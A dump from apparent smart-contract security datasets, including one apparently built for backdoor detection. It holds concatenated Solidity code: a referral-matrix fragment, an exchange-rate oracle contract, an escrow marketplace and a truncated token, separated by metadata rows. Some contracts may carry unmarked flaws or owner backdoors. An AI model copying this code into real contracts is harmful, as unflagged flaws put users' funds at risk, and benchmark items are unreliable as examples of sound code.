if(users[referrals[i]].Matrix[_level].referrals.length == maxDownLimit){
if(i<1022){
referrals[(i+1)*2] = users[referrals[i]].Matrix[_level].referrals[0];
referrals[(i+1)*2+1] = users[referrals[i]].Matrix[_level].referrals[1];
}
}else{
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function getMatrix(address userAddress, uint8 level)
public
view
returns (address payable,
address payable[] memory)
{
return (users[userAddress].Matrix[level].currentReferrer,
users[userAddress].Matrix[level].referrals);
}
function getPendingTimeForNextClosing() public view returns(uint) {
uint remainingTimeForPayout = 0;
if(nextClosingTime >= now) {
remainingTimeForPayout = nextClosingTime.sub(now);
}
return remainingTimeForPayout;
}
}
| 289,837 | 10,685 |
403229ab41de5da7ab2c47c476f8e3a86ab0653094026af4eda5a03748e9ede9
| 32,502 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xba34e436c9383aa8fa1e3659d2807ae040592498.sol
| 4,333 | 17,939 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
// Exchange rates stored by currency code, e.g. 'SNX', or 'sUSD'
mapping(bytes4 => uint) public rates;
// Update times stored by currency code, e.g. 'SNX', or 'sUSD'
mapping(bytes4 => uint) public lastRateUpdateTimes;
// The address of the oracle which pushes rate updates to this contract
address public oracle;
// Do not allow the oracle to submit times any further forward into the future than this constant.
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
// How long will the contract assume the rate of any asset is correct
uint public rateStalePeriod = 3 hours;
// Each participating currency in the XDR basket is represented as a currency key with
// equal weighting.
// There are 5 participating currencies, so we'll declare that clearly.
bytes4[5] public xdrParticipants;
// For inverted prices, keep a mapping of their entry, limits and frozen status
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
//
// ========== CONSTRUCTOR ==========
constructor(// SelfDestructible (Ownable)
address _owner,
// Oracle values - Allows for rate updates
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
// The sUSD rate is always 1 and is never stale.
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
// These are the currencies that make up the XDR basket.
// These are hard coded because:
// - Adding new currencies would likely introduce some kind of weighting factor, which
// then point the system at the new version.
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
// Loop through each key and perform update.
for (uint i = 0; i < currencyKeys.length; i++) {
// Should not set any rate to zero ever, as no asset will ever be
// truely worthless and still valid. In this scenario, we should
// delete the rate and remove it from the system.
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
// We should only update the rate if it's at least the same age as the last rate we've got.
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
// Ok, go ahead with the update.
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
// Now update our XDR rate.
updateXDRRate(timeSent);
return true;
}
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
// if an inverse mapping exists, adjust the price accordingly
InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
// set the rate to the current rate initially (if it's frozen, this is what will be returned)
uint newInverseRate = rates[currencyKey];
// get the new inverted rate if not frozen
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
// avoid negative numbers for unsigned ints, so set this to 0
// which by the requirement that lowerLimit be > 0 will
// cause this to freeze the price to the lowerLimit
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
// now if new rate hits our limits, set it to the limit and freeze
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
// Set the rate
rates["XDR"] = total;
// Record that we updated the XDR rate.
lastRateUpdateTimes["XDR"] = timeSent;
// Emit our updated event separate to the others to save
// moving data around between arrays.
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
// then we are adding a new inverse pricing, so add this
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
// now remove inverted key from array
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
// Copy the last key into the place of the one we just deleted
// If there's only one key, this is array[0] = array[0].
// If we're deleting the last one, it's also a NOOP in the same way.
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
// Decrease the size of the array by one.
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
external
view
returns (bool)
{
// sUSD is a special case and is never stale.
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
// Loop through each key and check whether the data point is stale.
uint256 i = 0;
while (i < currencyKeys.length) {
// sUSD is a special case and is never false
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
| 143,158 | 10,686 |
a5b78b32a05814b07afe2bf517134a4bce0c6537e9ba870501d93a87daebb1cf
| 19,605 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x819bb9964b6ebf52361f1ae42cf4831b921510f9.sol
| 4,470 | 18,200 |
pragma solidity ^0.4.24;
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : dave@akomba.com
// released under Apache 2.0 licence
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
}
contract V00_Marketplace is Ownable {
event MarketplaceData (address indexed party, bytes32 ipfsHash);
event AffiliateAdded (address indexed party, bytes32 ipfsHash);
event AffiliateRemoved (address indexed party, bytes32 ipfsHash);
event ListingCreated (address indexed party, uint indexed listingID, bytes32 ipfsHash);
event ListingUpdated (address indexed party, uint indexed listingID, bytes32 ipfsHash);
event ListingWithdrawn (address indexed party, uint indexed listingID, bytes32 ipfsHash);
event ListingArbitrated(address indexed party, uint indexed listingID, bytes32 ipfsHash);
event ListingData (address indexed party, uint indexed listingID, bytes32 ipfsHash);
event OfferCreated (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash);
event OfferAccepted (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash);
event OfferFinalized (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash);
event OfferWithdrawn (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash);
event OfferFundsAdded (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash);
event OfferDisputed (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash);
event OfferRuling (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash, uint ruling);
event OfferData (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash);
struct Listing {
address seller; // Seller wallet / identity contract / other contract
uint deposit; // Deposit in Origin Token
address depositManager; // Address that decides token distribution
}
struct Offer {
uint value; // Amount in Eth or ERC20 buyer is offering
uint commission; // Amount of commission earned if offer is finalized
uint refund; // Amount to refund buyer upon finalization
ERC20 currency; // Currency of listing
address buyer; // Buyer wallet / identity contract / other contract
address affiliate; // Address to send any commission
address arbitrator; // Address that settles disputes
uint finalizes; // Timestamp offer finalizes
uint8 status; // 0: Undefined, 1: Created, 2: Accepted, 3: Disputed
}
Listing[] public listings;
mapping(uint => Offer[]) public offers; // listingID => Offers
mapping(address => bool) public allowedAffiliates;
ERC20 public tokenAddr; // Origin Token address
constructor(address _tokenAddr) public {
owner = msg.sender;
setTokenAddr(_tokenAddr); // Origin Token contract
allowedAffiliates[0x0] = true; // Allow null affiliate by default
}
// @dev Return the total number of listings
function totalListings() public view returns (uint) {
return listings.length;
}
// @dev Return the total number of offers
function totalOffers(uint listingID) public view returns (uint) {
return offers[listingID].length;
}
// @dev Seller creates listing
function createListing(bytes32 _ipfsHash, uint _deposit, address _depositManager)
public
{
_createListing(msg.sender, _ipfsHash, _deposit, _depositManager);
}
// @dev Can only be called by token
function createListingWithSender(address _seller,
bytes32 _ipfsHash,
uint _deposit,
address _depositManager)
public returns (bool)
{
require(msg.sender == address(tokenAddr), "Token must call");
_createListing(_seller, _ipfsHash, _deposit, _depositManager);
return true;
}
// Private
function _createListing(address _seller,
bytes32 _ipfsHash, // IPFS JSON with details, pricing, availability
uint _deposit, // Deposit in Origin Token
address _depositManager // Address of listing depositManager)
private
{
require(_depositManager != 0x0, "Must specify depositManager");
listings.push(Listing({
seller: _seller,
deposit: _deposit,
depositManager: _depositManager
}));
if (_deposit > 0) {
tokenAddr.transferFrom(_seller, this, _deposit); // Transfer Origin Token
}
emit ListingCreated(_seller, listings.length - 1, _ipfsHash);
}
// @dev Seller updates listing
function updateListing(uint listingID,
bytes32 _ipfsHash,
uint _additionalDeposit) public {
_updateListing(msg.sender, listingID, _ipfsHash, _additionalDeposit);
}
function updateListingWithSender(address _seller,
uint listingID,
bytes32 _ipfsHash,
uint _additionalDeposit)
public returns (bool)
{
require(msg.sender == address(tokenAddr), "Token must call");
_updateListing(_seller, listingID, _ipfsHash, _additionalDeposit);
return true;
}
function _updateListing(address _seller,
uint listingID,
bytes32 _ipfsHash, // Updated IPFS hash
uint _additionalDeposit // Additional deposit to add) private {
Listing storage listing = listings[listingID];
require(listing.seller == _seller, "Seller must call");
if (_additionalDeposit > 0) {
tokenAddr.transferFrom(_seller, this, _additionalDeposit);
listing.deposit += _additionalDeposit;
}
emit ListingUpdated(listing.seller, listingID, _ipfsHash);
}
// @dev Listing depositManager withdraws listing. IPFS hash contains reason for withdrawl.
function withdrawListing(uint listingID, address _target, bytes32 _ipfsHash) public {
Listing storage listing = listings[listingID];
require(msg.sender == listing.depositManager, "Must be depositManager");
require(_target != 0x0, "No target");
tokenAddr.transfer(_target, listing.deposit); // Send deposit to target
emit ListingWithdrawn(_target, listingID, _ipfsHash);
}
// @dev Buyer makes offer.
function makeOffer(uint listingID,
bytes32 _ipfsHash, // IPFS hash containing offer data
uint _finalizes, // Timestamp an accepted offer will finalize
address _affiliate, // Address to send any required commission to
uint256 _commission, // Amount of commission to send in Origin Token if offer finalizes
uint _value, // Offer amount in ERC20 or Eth
ERC20 _currency, // ERC20 token address or 0x0 for Eth
address _arbitrator // Escrow arbitrator)
public
payable
{
bool affiliateWhitelistDisabled = allowedAffiliates[address(this)];
require(affiliateWhitelistDisabled || allowedAffiliates[_affiliate],
"Affiliate not allowed");
if (_affiliate == 0x0) {
// Avoid commission tokens being trapped in marketplace contract.
require(_commission == 0, "commission requires affiliate");
}
offers[listingID].push(Offer({
status: 1,
buyer: msg.sender,
finalizes: _finalizes,
affiliate: _affiliate,
commission: _commission,
currency: _currency,
value: _value,
arbitrator: _arbitrator,
refund: 0
}));
if (address(_currency) == 0x0) { // Listing is in ETH
require(msg.value == _value, "ETH value doesn't match offer");
} else { // Listing is in ERC20
require(msg.value == 0, "ETH would be lost");
require(_currency.transferFrom(msg.sender, this, _value),
"transferFrom failed");
}
emit OfferCreated(msg.sender, listingID, offers[listingID].length-1, _ipfsHash);
}
// @dev Make new offer after withdrawl
function makeOffer(uint listingID,
bytes32 _ipfsHash,
uint _finalizes,
address _affiliate,
uint256 _commission,
uint _value,
ERC20 _currency,
address _arbitrator,
uint _withdrawOfferID)
public
payable
{
withdrawOffer(listingID, _withdrawOfferID, _ipfsHash);
makeOffer(listingID, _ipfsHash, _finalizes, _affiliate, _commission, _value, _currency, _arbitrator);
}
// @dev Seller accepts offer
function acceptOffer(uint listingID, uint offerID, bytes32 _ipfsHash) public {
Listing storage listing = listings[listingID];
Offer storage offer = offers[listingID][offerID];
require(msg.sender == listing.seller, "Seller must accept");
require(offer.status == 1, "status != created");
require(listing.deposit >= offer.commission,
"deposit must cover commission");
if (offer.finalizes < 1000000000) { // Relative finalization window
offer.finalizes = now + offer.finalizes;
}
listing.deposit -= offer.commission; // Accepting an offer puts Origin Token into escrow
offer.status = 2; // Set offer to 'Accepted'
emit OfferAccepted(msg.sender, listingID, offerID, _ipfsHash);
}
// @dev Buyer withdraws offer. IPFS hash contains reason for withdrawl.
function withdrawOffer(uint listingID, uint offerID, bytes32 _ipfsHash) public {
Listing storage listing = listings[listingID];
Offer storage offer = offers[listingID][offerID];
require(msg.sender == offer.buyer || msg.sender == listing.seller,
"Restricted to buyer or seller");
require(offer.status == 1, "status != created");
refundBuyer(listingID, offerID);
emit OfferWithdrawn(msg.sender, listingID, offerID, _ipfsHash);
delete offers[listingID][offerID];
}
// @dev Buyer adds extra funds to an accepted offer.
function addFunds(uint listingID, uint offerID, bytes32 _ipfsHash, uint _value) public payable {
Offer storage offer = offers[listingID][offerID];
require(msg.sender == offer.buyer, "Buyer must call");
require(offer.status == 2, "status != accepted");
if (address(offer.currency) == 0x0) { // Listing is in ETH
require(msg.value == _value,
"sent != offered value");
} else { // Listing is in ERC20
require(msg.value == 0, "ETH must not be sent");
require(offer.currency.transferFrom(msg.sender, this, _value),
"transferFrom failed");
}
offer.value += _value;
emit OfferFundsAdded(msg.sender, listingID, offerID, _ipfsHash);
}
// @dev Buyer must finalize transaction to receive commission
function finalize(uint listingID, uint offerID, bytes32 _ipfsHash) public {
Listing storage listing = listings[listingID];
Offer storage offer = offers[listingID][offerID];
if (now <= offer.finalizes) { // Only buyer can finalize before finalization window
require(msg.sender == offer.buyer,
"Only buyer can finalize");
} else { // Allow both seller and buyer to finalize if finalization window has passed
require(msg.sender == offer.buyer || msg.sender == listing.seller,
"Seller or buyer must finalize");
}
require(offer.status == 2, "status != accepted");
paySeller(listingID, offerID); // Pay seller
if (msg.sender == offer.buyer) { // Only pay commission if buyer is finalizing
payCommission(listingID, offerID);
}
emit OfferFinalized(msg.sender, listingID, offerID, _ipfsHash);
delete offers[listingID][offerID];
}
// @dev Buyer or seller can dispute transaction during finalization window
function dispute(uint listingID, uint offerID, bytes32 _ipfsHash) public {
Listing storage listing = listings[listingID];
Offer storage offer = offers[listingID][offerID];
require(msg.sender == offer.buyer || msg.sender == listing.seller,
"Must be seller or buyer");
require(offer.status == 2, "status != accepted");
require(now <= offer.finalizes, "Already finalized");
offer.status = 3; // Set status to "Disputed"
emit OfferDisputed(msg.sender, listingID, offerID, _ipfsHash);
}
// @dev Called by arbitrator
function executeRuling(uint listingID,
uint offerID,
bytes32 _ipfsHash,
uint _ruling, // 0: Seller, 1: Buyer, 2: Com + Seller, 3: Com + Buyer
uint _refund) public {
Offer storage offer = offers[listingID][offerID];
require(msg.sender == offer.arbitrator, "Must be arbitrator");
require(offer.status == 3, "status != disputed");
require(_refund <= offer.value, "refund too high");
offer.refund = _refund;
if (_ruling & 1 == 1) {
refundBuyer(listingID, offerID);
} else {
paySeller(listingID, offerID);
}
if (_ruling & 2 == 2) {
payCommission(listingID, offerID);
} else { // Refund commission to seller
listings[listingID].deposit += offer.commission;
}
emit OfferRuling(offer.arbitrator, listingID, offerID, _ipfsHash, _ruling);
delete offers[listingID][offerID];
}
// @dev Sets the amount that a seller wants to refund to a buyer.
function updateRefund(uint listingID, uint offerID, uint _refund, bytes32 _ipfsHash) public {
Offer storage offer = offers[listingID][offerID];
Listing storage listing = listings[listingID];
require(msg.sender == listing.seller, "Seller must call");
require(offer.status == 2, "status != accepted");
require(_refund <= offer.value, "Excessive refund");
offer.refund = _refund;
emit OfferData(msg.sender, listingID, offerID, _ipfsHash);
}
function refundBuyer(uint listingID, uint offerID) private {
Offer storage offer = offers[listingID][offerID];
if (address(offer.currency) == 0x0) {
require(offer.buyer.send(offer.value), "ETH refund failed");
} else {
require(offer.currency.transfer(offer.buyer, offer.value),
"Refund failed");
}
}
// @dev Pay seller in ETH or ERC20
function paySeller(uint listingID, uint offerID) private {
Listing storage listing = listings[listingID];
Offer storage offer = offers[listingID][offerID];
uint value = offer.value - offer.refund;
if (address(offer.currency) == 0x0) {
require(offer.buyer.send(offer.refund), "ETH refund failed");
require(listing.seller.send(value), "ETH send failed");
} else {
require(offer.currency.transfer(offer.buyer, offer.refund),
"Refund failed");
require(offer.currency.transfer(listing.seller, value),
"Transfer failed");
}
}
// @dev Pay commission to affiliate
function payCommission(uint listingID, uint offerID) private {
Offer storage offer = offers[listingID][offerID];
if (offer.affiliate != 0x0) {
require(tokenAddr.transfer(offer.affiliate, offer.commission),
"Commission transfer failed");
}
}
// @dev Associate ipfs data with the marketplace
function addData(bytes32 ipfsHash) public {
emit MarketplaceData(msg.sender, ipfsHash);
}
// @dev Associate ipfs data with a listing
function addData(uint listingID, bytes32 ipfsHash) public {
emit ListingData(msg.sender, listingID, ipfsHash);
}
// @dev Associate ipfs data with an offer
function addData(uint listingID, uint offerID, bytes32 ipfsHash) public {
emit OfferData(msg.sender, listingID, offerID, ipfsHash);
}
// @dev Allow listing depositManager to send deposit
function sendDeposit(uint listingID, address target, uint value, bytes32 ipfsHash) public {
Listing storage listing = listings[listingID];
require(listing.depositManager == msg.sender, "depositManager must call");
require(listing.deposit >= value, "Value too high");
listing.deposit -= value;
require(tokenAddr.transfer(target, value), "Transfer failed");
emit ListingArbitrated(target, listingID, ipfsHash);
}
// @dev Set the address of the Origin token contract
function setTokenAddr(address _tokenAddr) public onlyOwner {
tokenAddr = ERC20(_tokenAddr);
}
// @dev Add affiliate to whitelist. Set to address(this) to disable.
function addAffiliate(address _affiliate, bytes32 ipfsHash) public onlyOwner {
allowedAffiliates[_affiliate] = true;
emit AffiliateAdded(_affiliate, ipfsHash);
}
// @dev Remove affiliate from whitelist.
function removeAffiliate(address _affiliate, bytes32 ipfsHash) public onlyOwner {
delete allowedAffiliates[_affiliate];
emit AffiliateRemoved(_affiliate, ipfsHash);
}
}
| 197,356 | 10,687 |
09b3556e45caa5fc0aee9f835a333f4187c108fcc7b980d5e912a2da247820d8
| 14,323 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/f3/f3e5a669745bcbced53f898207c0fa6806cd151c_SafeMath.sol
| 3,799 | 13,588 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
